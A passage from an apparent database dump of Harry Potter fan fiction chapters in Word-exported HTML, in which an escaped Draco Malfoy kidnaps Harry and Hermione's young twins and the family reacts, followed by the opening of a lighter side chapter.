outskirts of England.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco&#8217;s eyes\nnarrowed in anger as he saw the ruins, he knew it would be bad but he had no\nidea just how much was destroyed. His lip curled. &#8216;I&#8217;ll kill him.&#8217; Draco\nthought. &#8216;Harry Potter will have no idea what hit him, hit his family.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They set their\nbrooms down near a lone rock wall, a staircase protruded deep into the ground.\nThe three men followed it down; Draco recognized it as the place where House\nElves had lived, although they were all gone now. Crabbe and Goyle had\nobviously set up some sort of place to stay down there; three of the rooms had\nbeen attempted to make more comfortable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Have you two\nbeen through the dungeons yet?&#8221; Draco spun on his two cohorts. &#8220;Are they\nsuitable?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Chains are still\non the wall.&#8221; Crabbe replied. &#8220;It&#8217;s the same as it was when&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to go\ncheck it.&#8221; Draco didn&#8217;t trust either of them. He was tired, he was starving,\nbut the foremost thought on his mind was making Potter and his whole family miserable.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rummaged\naround in the pantry for sandwich fixings. She had left the twins to play\noutside while she made their lunch, if they were inside it was a task that\nwould never get done.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was definitely\nquieter around the house these days. Colin had left for Hogwarts just a few\ndays after the party, Harry the day after that. Hermione missed her husband and\nson terribly, but she couldn&#8217;t deny that the quiet was something she craved. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey\nCorinne!&#8221; Carl&#8217;s eyes\nwidened as he looked down at the grass.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; his\nsister looked up from where she was placing her dolls in a circle on the\nground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a snake!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I don&#8217;t\nwant to look at it!&#8221; Corinne hated snakes, and bugs, and anything that was\ncreepy whereas her brother couldn&#8217;t get enough of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s cool!&#8221; Carl\nleaned forward, and with his father&#8217;s Seeker reflexes, snatched it up in his\nhand. It was a small, green and silver striped garter snake; it wiggled madly\naround in his fist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let it go!&#8221;\nCorinne screamed as Carl moved it closer to her. She got up and was prepared to\nrun back to the house when it managed to escape Carl&#8217;s grasp. He jumped up and\nran after it, but not before grabbing one of Corinne&#8217;s dolls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come and get\nit!&#8221; he teased, running after the snake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give it back!&#8221;\nshe yelled, streaking after him. Carl led her alongside the lake, and into the\nsmall grove of trees that bordered the other side of the property.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on!&#8221; Carl\nlaughed as he ran faster, following the snake with his keen eyes. They headed\ninto the woods; Corinne began to feel like there was something wrong, that\ntickling sensation in her stomach that made her only want her parents to\ncomfort her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Carl let&#8217;s go\nback! Mummy doesn&#8217;t like us going into the woods alone!&#8221; Corinne panted as she\ntried to catch up with her twin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just want to\ncatch the snake! It had the coolest colours!&#8221; Carl fell short and keeled over,\ntrying to catch his breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to go\nback home.&#8221; Corinne insisted. She turned to leave when all of a sudden a large\ndark shape leapt out from behind a tree and snatched her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;CARL!&#8221; Corinne\nscreamed at the top of her lungs. Her brother looked up and began to run\ntowards her, but another figure jumped out and grabbed him as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Get off me!&#8221;\nCarl kicked his little legs out and caught Goyle in the knee; he nearly dropped\nthe child as he howled in pain. Both of them twisted the kids around until\ntheir backs were against Crabbe and Goyle&#8217;s chests. Their eyes grew wide in\nterror and astonishment as the harmless little snake transformed into a tall,\nthin pale blond man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco sneered as\nhe stepped over the tall grasses, fixing his cold grey eyes on the two youngest\nPotter children. The girl&#8217;s large green eyes were filled with tears ready to\nspill over, and the boy&#8217;s were full of defiance and anger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For someone as\ndisgraceful as Potter, he does make beautiful children.&#8221; Draco brought his face\ndown close to the girl and reached a hand out. She flinched away as if he was\ngoing to hit her, but instead took a handful of her long black curls. &#8220;He and the Mudblood.&#8221; He tugged on her locks and then\ntossed her hair down. Turning to look at the boy, he saw that he had Granger&#8217;s\nbrown eyes but the black hair definitely belonged to Potter. &#8220;Knock them out. I\ndon&#8217;t want to stay around here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;&#8221; Crabbe\nturned and looked at Goyle. Draco let out an exasperated sigh. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your\nwand, Crabbe.&#8221; His\ntone held no room for arguments. Crabbe held the girl with one large arm and\ndug into his robes with the other. Handing the long stick to Draco, he quickly\npointed it at the children. &#8220;Stupefy!&#8221; he cried out, and then did the same for\nthe boy. They hung limply, like dirty robes over the arms. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, let&#8217;s\nget out of here before Granger comes looking for them.&#8221; Draco grabbed onto\ntheir arms, pinching hard. The three men and two children then disappeared from\nthe woods.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: I feel like\nthe cliffie queen lately, with this and AoS hehehehe. Next chapter, we&#8217;ll see\neveryone&#8217;s reactions to what just happened! R/R!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(84, 4, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="wsh4_files/filelist.xml">\n\n<title>Chapter 4</title>\n\n<xml> Heaven Normal Heaven 2 1 2003-07-30T00:32:00Z 2003-07-30T00:52:00Z 1 3349 15238 411 137 18450 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Chapter 4</p>\n\n<p>A/N: I am sooo soooooooo sorry about the delay in this chapter, I really truly am. There were so many situations that contributed to this: writers block, hard drive crash, school&#8230; but here it finally is! I hope that you all enjoy it, and will leave me a review when you&#8217;re done reading.</p>\n\n<p>A summary of the past chapters: Harry and Hermione threw a 5<sup>th</sup> birthday party for their twins, Colin left for his first year of Hogwarts, Hermione found out that Caitlyn and Blue are living together, Harry left for a business trip in South America, and the twins were kidnapped by a recently escaped Draco Malfoy.</p>\n\n<p>Hermione set three goblets of pumpkin juice on the table aside the plates that held their lunch. &#8220;Corinne! Carl!&#8221; she called out. &#8220;Time for lunch, loves!&#8221;</p>\n\n<p>Usually her two youngest would come clambering through the door, but today they didn&#8217;t. &#8220;Carl!&#8221; Corinne!&#8221; Hermione called again, louder this time. When they still didn&#8217;t come in, a ball of fear began to tighten in her stomach.</p>\n\n<p>She opened the back door and stepped outside, her eyes scanning the pond and forest for her children. &#8220;Carl and Corinne!&#8221; she called again, her voice harder. &#8220;If you&#8217;re hiding from me it isn&#8217;t funny!&#8221;</p>\n\n<p>Still, nothing but rustling tree branches and a gentle lap of water against the grassy shore answered her. Hermione saw her daughter&#8217;s dolls sitting in a half circle; some sticks and stones piled up next do it. Her gaze turned to the Weasley house; she thought perhaps Lavender had called the children over.</p>\n\n<p>Knocking on the door, Hermione tried to calm herself down. Of course it was where they had gone, both of them knew better than to go into the forest alone. Lavender answered the door after a few moments.</p>\n\n<p>&#8220;Hi Hermione.&#8221; She said. &#8220;What&#8217;s wrong, you look upset?&#8221;</p>\n\n<p>&#8220;Did you call the twins over?&#8221; Hermione asked, pushing a stray hair off her forehead.</p>\n\n<p>&#8220;No, I haven&#8217;t seen them since yesterday. Why?&#8221; Lavender watched as Hermione&#8217;s face went from calm to panicked. &#8220;Hermione&#8217;s what&#8217;s going on?&#8221; she followed her friend out the doorway.</p>\n\n<p>&#8220;I don&#8217;t know where my children are!&#8221; Hermione&#8217;s voice had gone high in trepidation. </p>\n\n<p>&#8220;What?&#8221; Lavender put her hand on Hermione&#8217;s arm. &#8220;Come now, they&#8217;re around here somewhere, they&#8217;re probably just playing a game with you!&#8221;</p>\n\n<p>&#8220;No&#8230; they would have answered me by now&#8230;.&#8221; Hermione pulled away from Lavender and charged towards the forest. &#8220;Something&#8217;s happened, I know it, I just know it.&#8221;</p>\n\n<p>&#8220;Hermione, don&#8217;t be silly.&#8221; Lavender said, trying to catch up. &#8220;That&#8217;s ridiculous, nothing has happened.&#8221; She tried to keep her voice steady, but it too had gone shaky in fear. She loved Harry and Hermione&#8217;s children like her own and if anything <b><i>had</i></b> happened to them&#8230;.</p>\n\n<p>A strangled cry jerked Lavender out of her daze. Hermione was tearing into the small clearing and picking something off the forest floor.</p>\n\n<p>&#8220;It&#8217;s one of Corinne&#8217;s dolls&#8230;&#8221; Hermione said, her eyes bright with tears and her voice cracked. &#8220;It&#8217;s one of her dolls, sitting here in the clearing&#8230;.&#8221; She sank onto the dirt floor and pressed the doll to her chest.</p>\n\n<p>&#8220;Her&#8230;Hermione&#8230;&#8221; Lavender&#8217;s voice was quaking. &#8220;I&#8217;m going to get Ron&#8230; just stay there!&#8221; she ran as fast as she could back to her house and threw some powder into the fireplace. &#8220;Ron! Ron come home quickly please!&#8221; she called into the fire, and a moment later her husband had tumbled through.</p>\n\n<p>&#8220;Lavender, what&#8217;s wrong?&#8221; Ron asked, dusting off his robes.</p>\n\n<p>&#8220;Hermione&#8217;s outside, Ron, the twins are missing we can&#8217;t find them anywhere!&#8221; Lavender said in a rush.</p>\n\n<p>&#8220;What?&#8221; Ron asked, much like she had. &#8220;The twins are missing?&#8221; he brushed past her and went outside.</p>\n\n<p>Hermione had the doll in one hand and was tearing through the bushes with her other. &#8220;Carl! Corinne!&#8221; she kept screaming over and over again. Ron caught her around the waist. </p>\n\n<p>&#8220;Hermione, settle down. What&#8217;s going on?&#8221; he asked, trying to remain calm. Lavender was standing at the edge of the clearing, her hands clutching her face.</p>\n\n<p>&#8220;Ron&#8230; I have to find them; I know they&#8217;re here somewhere.&#8221; Hermione pulled away and tore through another bush.</p>\n\n<p>&#8220;Hermione.&#8221; Ron spoke her name sharply. &#8220;I need you to tell me what happened.&#8221; He gripped her shoulders and forced her to face him.</p>\n\n<p>&#8220;I was making them lunch and came out to call them in &#8211; they didn&#8217;t answer when I called them and I thought Lavender had taken them to your house but she didn&#8217;t and then we came out here and I found this.&#8221; Hermione held out the doll. &#8220;Ron you have to help me find them!&#8221; she spoke in a rush as if telling Ron the story fast would help in their search.</p>\n\n<p>Ron turned to his wife. &#8220;Lav, go back to the fire and call the men from my office in. Then send an owl to Caitlyn and Blue, and one to Harry as well.&#8221;</p>\n\n<p>Lavender nodded and ran back to the house, doing as Ron said. She directed several Ministry officials that worked under Ron outside to the clearing.</p>\n\n<p>&#8220;All right, first I need you guys to check for any magical residue that might be left in the area.&#8221; Ron nodded at two men. &#8220;Also, I need the rest of you to check the surrounding area in case they&#8217;ve just wandered off.&#8221; The men nodded and took off.</p>\n\n<p>&#8220;Hermione.&#8221; Ron said again, gently this time. &#8220;Hermione, we&#8217;ll find them okay?&#8221;</p>\n\n<p>&#8220;Ron&#8230;&#8221; she clutched at his arms. &#8220;What if something&#8217;s happened to them? What if&#8230; what if they went into the pond&#8230;&#8221; Hermione&#8217;s face turned pure white.</p>\n\n<p>Ron paled as well. &#8220;Oy Martin!&#8221; he yelled to one of the men. &#8220;I need you to check the pond, right now!&#8221;</p>\n\n<p>Martin took his wand out and pointed it at the small body of water. With one swish and a spell, the liquid quivered and seemed to evaporate into thin air. Hermione hung onto Ron, Lavender on her other side.</p>\n\n<p>&#8220;Nothing!&#8221; Martin called back. &#8220;There&#8217;s nothing here!&#8221;</p>\n\n<p>Hermione sagged in relief against Ron, still holding onto the doll. &#8220;Thank God, thank God&#8230;&#8221; she muttered, her other hand against her forehead.</p>\n\n<p>&#8220;Lav, take her into the house until Caitlyn gets here&#8230;&#8221; Ron said. &#8220;It&#8217;ll be easier for us to search.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Lavender whispered. &#8220;Find them Ron&#8230; please&#8230;&#8221;</p>\n\n<p>Ron nodded wordlessly as Lavender led Hermione away. No sooner had they sat down in the kitchen when there was a popping sound in the hallway and Caitlyn came rushing in.</p>\n\n<p>&#8220;What&#8217;s happened Aunt Lav? I got your owl and I came straightaway&#8230;&#8221; she spied her mother sitting at the table. &#8220;Mum what is it&#8230; did something happen to Dad?&#8221; her voice rose in panic much like Hermione&#8217;s had.</p>\n\n<p>&#8220;Caty, sit down&#8230;&#8221; Lavender said. &#8220;I need to tell you something.&#8221;</p>\n\n<p>&#8220;What?&#8221; Caitlyn was alarmed. &#8220;What happened?&#8221;</p>\n\n<p>&#8220;Your brother and sister seem to have disappeared.&#8221; Lavender said as gently as possible. &#8220;Ron is out there right now with some men from the Ministry, trying to find out what happened.&#8221;</p>\n\n<p>&#8220;How?&#8221; Caitlyn asked weakly. She looked over to her mother for confirmation. Hermione didn&#8217;t move; her eyes locked to the wall. Caitlyn moved into the chair next to her mother and wrapped her arms around her shoulders. &#8220;Mum&#8230; look at me&#8230; It&#8217;s Caty, I&#8217;m here&#8230;&#8221; she repeated this until Hermione turned and looked at her.</p>\n\n<p>&#8220;Caty?&#8221; she whispered. &#8220;You&#8217;re here?&#8221;</p>\n\n<p>&#8220;Yes Mum.&#8221; Caitlyn pulled back. &#8220;I&#8217;m here.&#8221;</p>\n\n<p>Hermione pulled her daughter into a tight hug. &#8220;You&#8217;re here; my baby is here&#8230;&#8221; she started crying into Caitlyn&#8217;s shoulder. &#8220;I don&#8217;t know where your brother and sister are!!!&#8221;</p>\n\n<p>&#8220;We&#8217;re going to find them.&#8221; Caitlyn said, her tone more positive than she actually felt. &#8220;We&#8217;re going to find them,&#8221; she looked up at Lavender. </p>\n\n<p>&#8220;We&#8217;re going to find them.&#8221; Lavender repeated, her voice hollow as she sank into the chair next to Hermione.&nbsp; </p>\n\n<p>&#8220;I need to write to Harry,&#8221; Hermione muttered, her face still pale. Her eyes darted wildly around the room. &#8220;Harry will know what to do. Harry will find them.&#8221; She got up and rushed from the kitchen.</p>\n\n<p>Caitlyn got up to go after her but Lavender put a hand on her arm. &#8220;Let her go write to your father.&#8221; She said quietly. The younger girl nodded, and then sank limply into the chair.</p>\n\n<p>&#8220;I think I&#8217;m going to pass out.&#8221; She muttered, bending over so that her head was between her legs. </p>\n\n<p>&#8220;Caty!&#8221; Blue was now rushing into the kitchen. &#8220;Are you all right?&#8221;</p>\n\n<p>Caitlyn raised her head and promptly burst into tears at the sight of her concerned boyfriend. She felt his strong arms go around her and she began to cry into his shoulder. </p>\n\n<p>&#8220;What happened?&#8221; Blue&#8217;s first thought was that something had happened to her father. </p>\n\n<p>&#8220;We&#8230;&#8221; her voice was shaking almost violently. &#8220;We think that&#8230; something&#8230; happened to my brother and sister&#8230;&#8221;</p>\n\n<p>It took Blue a few moments for Caitlyn&#8217;s words to fully register. When they did, Blue&#8217;s face formed a mingled expression that contained both panic and reassurance. &#8220;Something&#8230; happened?&#8221; his voice cracked on the last word; he loved her siblings like they were his. </p>\n\n<p>&#8220;The twins have been missing for a half hour or more now.&#8221; Lavender said, her voice thick. &#8220;Your father is out there now looking for anything to find them.&#8221;</p>\n\n<p>Blue nodded as his arms tightened around his girlfriend. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Draco Malfoy pushed back the sheets on the bed and stood up, immediately pulling on the trousers he had thrown to the floor earlier in the evening. He stood in silence for several minutes before turning to make sure the woman in his bed was still asleep. </p>\n\n<p>She was, so he stole quietly from the room. Draco&#8217;s thoughts turned to her as he went silently down the stairs, much like a cat.&nbsp; Daniela had been his fianc&#233;e before he had been caught eleven years before. They had fought over something ridiculous, which caused him to find Granger&#8217;s friend Grace to make Daniela jealous.</p>\n\n<p>&#8220;Stupidest thing I ever did.&#8221; Draco muttered to himself. He slipped a cloak on over his bare chest, then left the house elves quarters, which was the only part of the Manor that was liveable. &#8220;I had a life too, Potter.&#8221;<ins cite="mailto:Heaven" datetime="2003-07-28T21:55"></ins></p>\n\n<p><ins cite="mailto:Heaven" datetime="2003-07-28T21:55"></ins></p>\n\n<p>Draco moved silently from the house and across the vast empty estate that once contained the lavish Manor house. He was headed for a large monument that loomed near the back of the property. </p>\n\n<p>Draco&#8217;s head was bowed as he came upon his parents&#8217; graves. &#8220;I&#8217;m sorry I failed you, father.&#8221; His voice broke through the silence. &#8220;I want to destroy everyone and everything close to Potter.&#8221; </p>\n\n<p>He paused as the cool night air rushed around and over him, blowing his long silver blond hair forward. Draco brushed it back with impatience. &#8220;I came upon a spell before I was put in Azkaban. I could resurrect Voldemort with it&#8230;&#8221; he fell to his knees on the damp earth and pressed both hands into the soil covering his father&#8217;s grave. </p>\n\n<p>&#8220;It requires the blood of two innocents,&#8221; Draco spoke these words softly, as if he did not want anyone to overhear him. &#8220;It could be any innocents, but I figured&#8230; this the ultimate revenge on Potter, using his children to bring back his worst enemy.&#8221; He paused and smiled, thinking of what his father would be saying back to him. &#8220;I want to make you proud, Father. I know if I bring the Dark Lord back, he&#8217;ll give you two back to me as well.&#8221;</p>\n\n<p>Draco wasn&#8217;t sure how long he stayed out there, just sitting in silence with only the whisper of a breeze blowing past him every now and again. It was only when the sky above him began to grow light that he got back up and walked back to the house.&nbsp; He was about to turn and go up the stairs when something made his feet travel back outside and to the dungeons that had previously been underneath the Manor. </p>\n\n<p>Silent as his Animagus snake form, Draco went down the stairs and over to the cell where Potter&#8217;s twins were currently being held. He had made Crabbe and Goyle throw them in there while they were still unconscious. It also amused him to no end that it was right next to the cell where he had kept Granger locked up for a year. </p>\n\n<p>They were asleep on the floor, the girl with her head in the boy&#8217;s lap, arms protectively around one another. Draco had a hard time resisting the urge to wake them up and inflict some sort of pain upon them. About to unlock the door, he stepped back. </p>\n\n<p>&#8220;Not quite angry enough,&#8221; a cruel smile crossed his lips. Draco turned and left as silently as he had come, going back into the house and up to the bedroom.</p>\n\n<p>&#8220;Where did you go?&#8221; Daniela asked sleepily as Draco slipped into the bed next to her. </p>\n\n<p>&#8220;Just for a walk,&#8221; Draco replied, kissing her. </p>\n\n<p>&#8220;You should have woken me up; I&#8217;d have gone with you.&#8221; Her arms encircled around his neck and she kissed him again, deeper this time. </p>\n\n<p>&#8220;Just needed to do a few quick things.&#8221; Draco replied. Daniela was the one thing in his life that he gave two shits about, the only person he truly cared for.&nbsp; When he had gone to her flat the night before, after she had gotten over the shock of seeing him for the first time in eleven years, she had immediately cancelled her evening plans to be with him. Daniela moved herself over and into his arms and they fell asleep together.&nbsp; </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Harry rubbed his eyes wearily as he entered his hotel room. Dropping his wand and cloak on the chair next to the door, he advanced into the room. It was only six in the evening and he felt like he had been up for about forty eight hours. </p>\n\n<p>&#8220;I need to get some rest,&#8221; he groaned to himself.&nbsp; Harry flopped down on the bed and rolled on to his side, then smiled as he looked at the picture on the table next to him. </p>\n\n<p>It had been taken at the beginning of the summer. Caitlyn had come home for dinner one night and then Ron and Lavender had come over, with Blue joining them as well. They had all had a great time that evening and at the end, he, Hermione and their four children had crowded around the fireplace for a family photo. </p>\n\n<p>Harry&#8217;s smile turned into a chuckle as he watched his eldest daughter muss Colin&#8217;s hair. His picture self turned and kissed picture Hermione on the cheek as the twins sat and grinned widely at the bottom of the frame.&nbsp; Harry loved his family dearly, as he had never received any affection as a child, and it made him resolve that none of his children would ever know what it was like to be without love. </p>\n\n<p>He set the frame back on the nightstand and laid back on the pillow, removing his glasses. &#8220;One more week,&#8221; he muttered to himself. He missed his wife and children terribly. </p>\n\n<p>A fluttering of wings at his window made him sit up and wonder why an owl was there- the Ministry knew that he and his crew were in <st1:place>South America</st1:place>, but only one person there knew the exact location. Harry quickly opened the window and let the owl in. He untied the letter from its leg and the owl took flight again without waiting. </p>\n\n<p>Curiously, he unfolded the parchment. Harry&#8217;s face grew pale as he read the words scratched on it.</p>\n\n<p><i>Harry-</i></p>\n\n<p><i></i></p>\n\n<p><i>I need you, come home quickly, Harry please come home.</i></p>\n\n<p>He recognized the writing as Hermione&#8217;s, but it was badly shaken and there were tear smudges at the bottom of the parchment. Harry stared in shock at the parchment, then dropped it and rushed out of the room. </p>\n\n<p>&#8220;Jones!&#8221; he banged hard on the door. &#8220;Open up!&#8221; he continued to knock loudly until his mission partner appeared in the frame.</p>\n\n<p>&#8220;What&#8217;s wrong, Harry?&#8221;&nbsp; Jones asked.</p>\n\n<p>&#8220;I need to leave,&#8221; Harry replied, already turning back to his own room. &#8220;Something&#8217;s happened at home, can you handle the rest of this by yourself?&#8221;</p>\n\n<p>&#8220;Sure,&#8221; Jones said. &#8220;What happened?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Harry said, rushing about as he tossed his belongings in a large duffel sack. &#8220;I just have a horrible feeling and I need to get back.&#8221;</p>\n\n<p>&#8220;I&#8217;ll cover for you,&#8221; Jones followed him out of the room. </p>\n\n<p>&#8220;Thanks,&#8221; Harry called back over his shoulder. He left the hotel and headed towards the wizarding section of the city. It was already <st1:time minute="0" hour="0">midnight</st1:time> in <st1:country-region><st1:place>England</st1:place></st1:country-region>, and who knew how long it had taken the owl to reach him where he was. To his great frustration, he was not able to apparate directly home, but had to go up to <st1:country-region><st1:place>Canada</st1:place></st1:country-region>, then <st1:country-region><st1:place>Belgium</st1:place></st1:country-region>, <st1:country-region><st1:place>Scotland</st1:place></st1:country-region> and finally the Ministry, where he could floo back to his house. </p>\n\n<p>Harry coughed as he tumbled out of the fireplace in his family room; it was dark in the house and eerily quiet. After he dropped his bag and brushed himself off, he saw that the kitchen was still lit.</p>\n\n<p>&#8220;Harry!&#8221; Hermione cried out when she saw her husband in the doorway. She jumped up and rushed into his arms, sobs immediately rising from her chest. Caitlyn was also sitting there with Blue&#8217;s arms around her, and Ron and Lavender were standing near the sink. &#8220;You came home, thank God you came home.&#8221;</p>\n\n<p>&#8220;What happened?&#8221; Harry&#8217;s voice was shaking as he held his crying wife in his arms. &#8220;Someone bloody tell me what&#8217;s happened.&#8221;</p>\n\n<p>Ron stepped forward, his face ashen. &#8220;Harry, sit down.&#8221;</p>\n\n<p>&#8220;Tell me what&#8217;s happened.&#8221; Harry refused to move. &#8220;Dammit Ron&#8230;&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; Hermione looked up at him. &#8220;It&#8217;s the twins Harry they&#8217;re gone&#8230;&#8221;</p>\n\n<p>Harry actually staggered backwards as the news hit him like the Cruciatius Curse. &#8220;What?&#8221; he asked minutes later as he finally recovered his power of speech. &#8220;Gone? How?&#8221;</p>\n\n<p>&#8220;We don&#8217;t know.&#8221; Ron replied, trying to keep his tone steady. &#8220;We&#8217;ve still got people out there looking&#8230;&#8221;</p>\n\n<p>&#8220;When?&#8221; Harry demanded. </p>\n\n<p>&#8220;Earlier today, about <st1:time minute="0" hour="12">noon</st1:time>.&#8221; Hermione replied, wiping at her eyes.&nbsp; &#8220;I went to call them in for lunch and they were gone&#8230;&#8221;</p>\n\n<p>&#8220;We found residue of magic in the clearing,&#8221; Ron continued. &#8220;Whoever took them&#8230; they knocked them out and then we think they must have apparated away.&#8221;</p>\n\n<p>&#8220;You <i>think</i>?&#8221; Harry pushed Hermione away roughly. &#8220;How could you let this happen?&#8221; he yelled at his wife. &#8220;You were supposed to be watching them and you let someone take them away!&#8221;</p>\n\n<p>Everyone was in shock as they stared at Hermione. Her jaw worked up and down as she tried to talk.</p>\n\n<p>&#8220;How&#8230; how dare you&#8230;&#8221; she finally uttered, her voice shaking. &#8220;You&#8230; accuse me of letting our children be taken&#8230;&#8221;</p>\n\n<p>&#8220;You&#8217;re their mother; you were supposed to watch them.&#8221; Harry said, his tone furious and his eyes ice cold. </p>\n\n<p>SLAP! The loud sound echoed into the hallway and Caitlyn jumped as her mother&#8217;s palm connected with her father&#8217;s face. &#8220;GET OUT!&#8221; Hermione suddenly screamed, new tears running down her cheeks. &#8220;YOU BASTARD, GET OUT!&#8221;</p>\n\n<p>Caitlyn rushed over to her mother and pulled her into a hug, while sending her father an accusatory glare. &#8220;How could you say that?&#8221; she asked in a whisper.</p>\n\n<p>Harry stared at the two of them as if he had suddenly realised where he was, and then turned and strode from the kitchen back into the living room, where he grabbed his bag and was gone.</p>\n\n<p>A/N: Okay, before you guys all kill me, don&#8217;t just yet&#8230; be sure and check out the next chapter that I will be putting up this weekend, it&#8217;s an interlude, a fluff chapter in the midst of all this angst. </p>\n\n<p>And don&#8217;t be too quick to judge Harry just yet ;)</p>\n\n<p>Don&#8217;t forget, PLEASE PLEASE review this when you&#8217;re done!</p> '),
	(84, 5, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="cb_files/filelist.xml">\n\n<title>Caitlyn and Blue stories</title>\n\n<xml> Preferred Customer Normal Heaven 3 7867 2003-08-04T00:03:00Z 2003-08-04T02:11:00Z 1 5694 32460 Dell Computer Corporation 270 76 38078 10.2625 </xml><xml> MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Caitlyn and Blue stories</p>\n\n<p>Hi you guys! This is the fluffy chapter that I tried to post before&#8230; I hope this time I can get at least a FEW more reviews? Please? Pretty please? It&#8217;s a break from the regular story because it goes even darker from here on out. &nbsp;Read and enjoy!</p>\n\n<p>Caitlyn Potter wrapped a rubber band around the end of her long thick braid and tossed it over her shoulder. She turned and looked at herself in the mirror, pleased at what she saw. She was wearing a black halter top and long, fitted black pants. Touching a bit of gloss to her lips, she turned away from the mirror.</p>\n\n<p>&#8220;Aren&#8217;t you ready yet?&#8221; she teased her co worker and good friend Mandy, whom she was sharing a hotel room with while they were in <st1:country-region><st1:place>Spain</st1:place></st1:country-region>. </p>\n\n<p>&#8220;Getting there!&#8221; Mandy grinned. &#8220;I&#8217;ve got to look good tonight.&#8221; She grabbed what she was wearing that night from her trunk and went back into the bathroom.</p>\n\n<p>Caitlyn rolled her eyes. &#8220;Please, you already know how crazy Daniel is about you.&#8221; Turning back to the mirror again she smoothed an invisible spot on her cheek. </p>\n\n<p>&#8220;I remember when he liked you.&#8221; 